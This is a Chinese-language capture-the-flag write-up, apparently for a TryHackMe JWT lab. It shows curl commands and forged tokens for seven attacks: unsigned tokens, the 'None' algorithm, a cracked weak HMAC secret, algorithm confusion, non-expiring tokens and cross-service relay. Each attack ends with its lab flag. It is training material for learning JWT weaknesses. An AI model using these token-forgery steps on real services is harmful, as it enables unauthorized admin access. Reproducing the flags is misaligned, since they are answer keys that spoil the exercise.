由于做到这个JWT的时间踩了一些坑,google没有搜到别人写的WP,于是自己写的记载一下解题过程
实例1---任务4---敏感信息
1.获取Token
根据给出的cURL请求,去举行验证获取Token
- curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password1" }' http://10.10.20.1/api/v1.0/example1
复制代码
把得到的token复制去在线网站上面解码看一下信息
2.实例1的flag
实例1的flag为:
THM{9cc039cc-d85f-45d1-ac3b-818c8383a560}
实例2---任务5---不签名验证
1.获取Token
还是一样的,先使用cURL获取Token
- curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://10.10.20.1/api/v1.0/example2
复制代码
解密出来的信息为
2.伪造新Token
把第二部分中admin背面的0改成1,重新编码,删掉第三部分(只生存点)即可,然后把编码后的Token添加到请求中,去举行请求
- curl -H 'Authorization: Bearer [JWT Token]' http://10.10.20.1/api/v1.0/example2?username=user
- JWT Token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.
- 正确的请求为:curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.' http://10.10.20.1/api/v1.0/example2?username=user
复制代码 提示:提出请求无效,把用户改成admin,重新举行请求,即可获得flag。
3.实例2的flag
实例2的flag为:
THM{6e32dca9-0d10-4156-a2d9-5e5c7000648a}
实例3---任务5---None签名
1.获取Token
cURL为
- curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password3" }' http://10.10.20.1/api/v1.0/example3
复制代码
2.伪造新Token
把解码后的Token重新编辑然后请求,由于在线网站无法编辑None签名,所以必要分段使用base64来举行编辑天生新的Token,在线base64网站
Token为:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8
第一部分,解码为
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
把alg内里的HS256改成None,然后重新举行编码,得到的第一部分为
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=
把第二部分中的admin的0改成1重新编码得到
eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0=
把新编码的组合起来,便得到了新的Token为
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0=._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8
3.实例3的flag
使用新的Token去举行请求得到flag
- curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0=._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8' http://10.10.20.1/api/v1.0/example3?username=admin
复制代码
得到的flag为:
THM{fb9341e4-5823-475f-ae50-4f9a1a4489ba}
实例4---任务5---弱对称的密钥
1.获取Token
- curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password4" }' http://10.10.20.1/api/v1.0/example4
复制代码
把Token的值生存到jwt.txt文本中,下载通用的密钥字典,然后使用Hashcat举行破解。
2.伪造新Token
密钥值为secret,然后伪造一个新的Token来获取flag。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.gpHtgNe4OSgiQHuf8W7JFfSNTi9tEnDKvK7QAk2DFBc
3.实例4的flag
获取Flag
- curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.gpHtgNe4OSgiQHuf8W7JFfSNTi9tEnDKvK7QAk2DFBc' http://10.10.20.1/api/v1.0/example4?username=admin
复制代码
flag为
THM{e1679fef-df56-41cc-85e9-af1e0e12981b}
实例5---任务5---签名算法杂乱
1.获取Token
- curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password5" }' http://10.10.20.1/api/v1.0/example5
复制代码
2.伪造新Token
根据提供的脚本,把公钥值添加进去,把admin背面的0改成1
注释掉/usr/lib/python3/dist-packages/jwt/algorithms.py文件的143-146行,生存退出
运行脚本,得到一个新Token,
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.7jJBvWpF9JT4DdeUWnl0o7imBV0wa0HTDPRMavGbPyU
3.实例5的flag
获取flag
- curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.7jJBvWpF9JT4DdeUWnl0o7imBV0wa0HTDPRMavGbPyU' http://10.10.20.1/api/v1.0/example5?username=admin
复制代码
flag为
THM{f592dfe2-ec65-4514-a135-70ba358f22c4}
实例6---任务6---令牌不逾期
根据Token获得flag
- curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU' http://10.10.20.1/api/v1.0/example6?username=admin
复制代码
实例6flag
THM{a450ae48-7226-4633-a63d-38a625368669}
实例7---任务7---跨服务中继攻击
1.获取Token
- curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7", "application" : "appA"}' http://10.10.202.112/api/v1.0/example7
复制代码
JWT在线网站上查看解码信息
不为管理员
使用B的身份来获取Token
- curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7", "application" : "appB"}' http://10.10.202.112/api/v1.0/example7
复制代码
是管理员
2.伪造Token
根据B获取到的Token,有管理员权限去访问A的URL,获得flag。
- curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.202.112/api/v1.0/example7_appA?username=admin
复制代码
3.实例7的flag
THM{f0d34fe1-2ba1-44d4-bae7-99bd555a4128}
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |